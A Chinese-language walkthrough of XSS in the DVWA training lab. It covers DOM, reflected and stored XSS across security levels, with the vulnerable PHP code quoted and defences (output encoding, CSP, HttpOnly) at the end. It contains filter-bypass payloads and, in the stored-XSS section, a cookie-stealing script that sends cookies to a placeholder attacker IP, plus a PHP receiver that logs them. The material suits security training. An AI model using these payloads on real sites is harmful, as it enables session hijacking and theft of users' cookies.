DVWA靶场XSS漏洞全解析:从DOM型、反射型到存储型
1 XSS漏洞概述
XSS(Cross-Site Scripting)跨站脚本攻击是Web安全领域最常见的安全漏洞之一。它指的是攻击者向网页中注入恶意脚本(通常为JavaScript),当用户访问包含恶意脚本的页面时,这些脚本会被浏览器自动执行。XSS漏洞的本质是用户输入未被正确过滤或转义,最终被浏览器当作有效代码执行。
1.1 XSS漏洞类型
根据恶意脚本的存储和执行方式,XSS漏洞主要分为三种类型:
- 反射型XSS(Reflected XSS):恶意脚本通过URL参数传递,服务器在响应中原样返回,需要用户点击恶意链接才能触发。
- 存储型XSS(Stored XSS):恶意脚本被存储在服务器端(如数据库),当其他用户访问包含该脚本的页面时触发,危害更大。
- DOM型XSS(DOM-based XSS):完全在浏览器端发生,不经过服务器处理,通过修改页面的DOM结构来执行恶意脚本。
1.2 XSS漏洞的危害
XSS漏洞可能造成以下严重后果:
- 窃取用户敏感信息(如Cookie、会话令牌、个人数据)
- 劫持用户会话,冒充用户执行操作
- 篡改网页内容,实施钓鱼攻击
- 传播恶意软件,控制用户浏览器
- 结合CSRF攻击,执行未授权操作
2 DVWA环境搭建
DVWA(Damn Vulnerable Web Application)是一个专门用于Web安全练习的PHP/MySQL应用程序。要搭建DVWA环境,您需要:
- 从官网下载DVWA安装包
- 解压到Web服务器目录(如Apache的htdocs目录)
- 配置数据库连接(config/config.inc.php)
- 在浏览器中访问DVWA,创建数据库
- 使用默认凭据登录(admin/password)
DVWA提供了四个安全级别,从完全无防护到近乎完美防护:
- Low:无任何防护措施
- Medium:基础防护(如转义特殊字符)
- High:较强防护(如限制输入类型)
- Impossible:近乎完美的防护
3 DOM型XSS漏洞详解
DOM型XSS(DOM Based Cross Site Scripting)是一种基于文档对象模型(Document Object Model)的漏洞。DOM是一个与平台、编程语言无关的接口,它允许程序或脚本动态地访问和更新文档内容、结构和样式。
3.1 Low级别
漏洞分析:Low级别的源码完全没有进行任何过滤,用户输入直接被插入到DOM中。
<?php
// No protections, anything goes
?>
利用过程:
- 在页面中选择English,点击提交
- 修改URL中的default参数:
http://<DVWA-IP>/vulnerabilities/xss_d/?default=<script>alert('XSS')</script>
- 页面成功执行脚本,弹出警告框
3.2 Medium级别
漏洞分析:Medium级别尝试过滤<script>
标签,但可以通过其他方式绕过。
<?php
// 过滤<script标签
if (stripos($default, "<script") !== false) {
header("location: ?default=English");
exit;
}
?>
利用过程:
使用闭合标签和HTML标签的事件处理程序绕过过滤:
http://<DVWA-IP>/vulnerabilities/xss_d/?default=</option></select><img src=x onerror=alert("XSS")>
或使用SVG标签:
http://<DVWA-IP>/vulnerabilities/xss_d/?default=</option></select><svg onload=alert("xss")>
3.3 High级别
漏洞分析:High级别使用白名单机制,只允许特定值(French、English、German、Spanish)。
<?php
// 白名单机制
switch ($_GET['default']) {
case "French":
case "English":
case "German":
case "Spanish":
break;
default:
header("location: ?default=English");
exit;
}
?>
利用过程:使用URL片段标识(#)绕过服务器端验证,因为#后的内容不会发送到服务器:
http://<DVWA-IP>/vulnerabilities/xss_d/?default=English#<script>alert(document.cookie)</script>
3.4 Impossible级别
漏洞分析:Impossible级别在客户端对输入进行URL编码,防止恶意脚本执行。
<?php
// Don't need to do anything, protection handled on the client side
?>
4 反射型XSS漏洞详解
反射型XSS(Reflected Cross Site Scripting)是指恶意脚本作为参数包含在请求URL中,服务器接收后直接在响应中返回,从而在浏览器中执行。
4.1 Low级别
漏洞分析:Low级别没有任何过滤,直接输出用户输入。
<?php
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
echo '<pre>Hello ' . $_GET[ 'name' ] . '</pre>';
}
?>
利用过程:
直接输入恶意脚本:
<script>alert('XSS')</script>
或窃取Cookie:
<script>alert(document.cookie)</script>
4.2 Medium级别
漏洞分析:Medium级别尝试使用str_replace()
函数过滤<script>
标签。
<?php
$name = str_replace( '<script>', '', $_GET[ 'name' ] );
echo "<pre>Hello ${name}</pre>";
?>
绕过方式:
双写绕过:
<sc<script>ript>alert('XSS')</script>
大小写混淆:
<ScRipt>alert('XSS')</script>
使用其他标签:
<img src=x onerror=alert('XSS')>
4.3 High级别
漏洞分析:High级别使用正则表达式过滤<script>
标签,不区分大小写。
<?php
$name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $_GET[ 'name' ] );
echo "<pre>Hello ${name}</pre>";
?>
绕过方式:使用非script标签:
<img src=x onerror=alert('XSS')>
4.4 Impossible级别
漏洞分析:Impossible级别使用htmlspecialchars()
函数将特殊字符转换为HTML实体,彻底防止XSS。
<?php
$name = htmlspecialchars( $_GET[ 'name' ] );
echo "<pre>Hello ${name}</pre>";
?>
5 存储型XSS漏洞详解
存储型XSS(Stored Cross Site Scripting)是最危险的XSS类型,因为恶意脚本被存储在服务器端,每次用户访问包含该脚本的页面时都会触发。
5.1 存储型XSS的工作原理
- 攻击者提交恶意脚本:通过输入接口(如表单、评论区)将恶意脚本发送到服务器。
- 恶意脚本被存储:服务器将包含恶意代码的输入存储在数据库或其他存储介质中。
- 受害者访问存储数据:当受害者访问包含恶意脚本的页面时,恶意脚本被从数据库中提取并显示。
- 恶意脚本执行:恶意脚本在受害者浏览器中执行,实施攻击。
5.2 Low级别
漏洞分析:Low级别没有任何过滤,直接存储和显示用户输入。
利用过程:
在留言板中输入恶意脚本:
<script>alert('XSS')</script>
- 提交后,每次任何用户访问该页面都会触发弹窗
窃取Cookie的实战利用:
创建接收Cookie的PHP脚本(123.php):
<?php $cookie = $_GET['cookie']; $ip = getenv('REMOTE_ADDR'); $time = date('Y-m-d g:i:s'); $fp = fopen('cookie.txt', 'a'); fwrite($fp, "IP: $ip\nTime: $time\nCookie: $cookie\n"); fclose($fp); ?>
在留言板中输入以下脚本:
<script> document.write('<img src="http://<攻击者IP>/123.php?cookie=' + document.cookie + '" width=0 height=0 border=0 />'); </script>
- 当用户访问包含该脚本的页面时,他们的Cookie会被自动发送到攻击者的服务器
5.3 Medium级别
漏洞分析:Medium级别尝试过滤<script>
标签,但可以通过双写或大小写混淆绕过。
绕过方式:
双写绕过:
<sc<script>ript>alert('XSS')</script>
大小写混淆:
<ScRiPt>alert('XSS')</ScRiPt>
使用其他标签:
<img src=x onerror=alert('XSS')>
5.4 High级别
漏洞分析:High级别使用正则表达式过滤script标签,需要使用非script标签进行绕过。
利用方式:
<img src=x onerror=alert('XSS')>
5.5 Impossible级别
漏洞分析:Impossible级别使用htmlspecialchars()
函数对输出进行转义,彻底防止XSS漏洞。
6 XSS漏洞防御方案
根据DVWA四个级别的防护措施,我们可以总结出以下有效的XSS防御方案:
6.1 输入验证和过滤
- 白名单验证:只允许符合预期格式的数据
- 过滤和清理:去除可能的恶意代码
- 类型强制转换:确保输入参数符合预期类型
6.2 输出编码
- HTML实体编码:使用
htmlspecialchars()
函数将特殊字符转换为HTML实体 - JavaScript编码:当输出到JavaScript代码时,使用适当的编码
- URL编码:当输出到URL参数时,使用
urlencode()
或rawurlencode()
6.3 内容安全策略(CSP)
通过CSP头部限制页面可以加载和执行的资源来源,即使存在XSS漏洞,也能减少其危害。
Content-Security-Policy: default-src 'self'; script-src 'self'
6.4 HttpOnly Cookie
设置Cookie的HttpOnly属性,防止JavaScript访问敏感Cookie。
setcookie("sessionid", "12345", time()+3600, "/", "example.com", true, true);
6.5 其他防护措施
- 限制输入长度:减少恶意脚本的注入风险
- 使用安全API:避免使用
innerHTML
、document.write()
等危险API - 定期安全审计:定期进行代码审查和安全测试
7 总结
通过DVWA平台的三个XSS漏洞模块(DOM型、反射型、存储型)的实验,我们可以得出以下结论:
- XSS漏洞非常常见且危险,尤其是存储型XSS,可能影响大量用户
- 简单的黑名单过滤很容易被绕过,需要采用多层次防御策略
- 根本的解决方案是输出编码,确保用户输入不被浏览器解释为代码
- CSP和HttpOnly Cookie提供了额外的防护层,减少漏洞被利用后的影响
- 安全是一个过程,需要持续的关注和测试
最重要的是:在实际开发中,应该始终对用户输入进行严格验证,并对输出进行适当编码,这是防止XSS攻击最有效的方式。
希望本文能帮助您理解XSS漏洞的原理、利用方式和防御方法,在今后的开发和测试工作中更好地应用这些知识。记住,安全不是一次性的工作,而是一个持续的过程。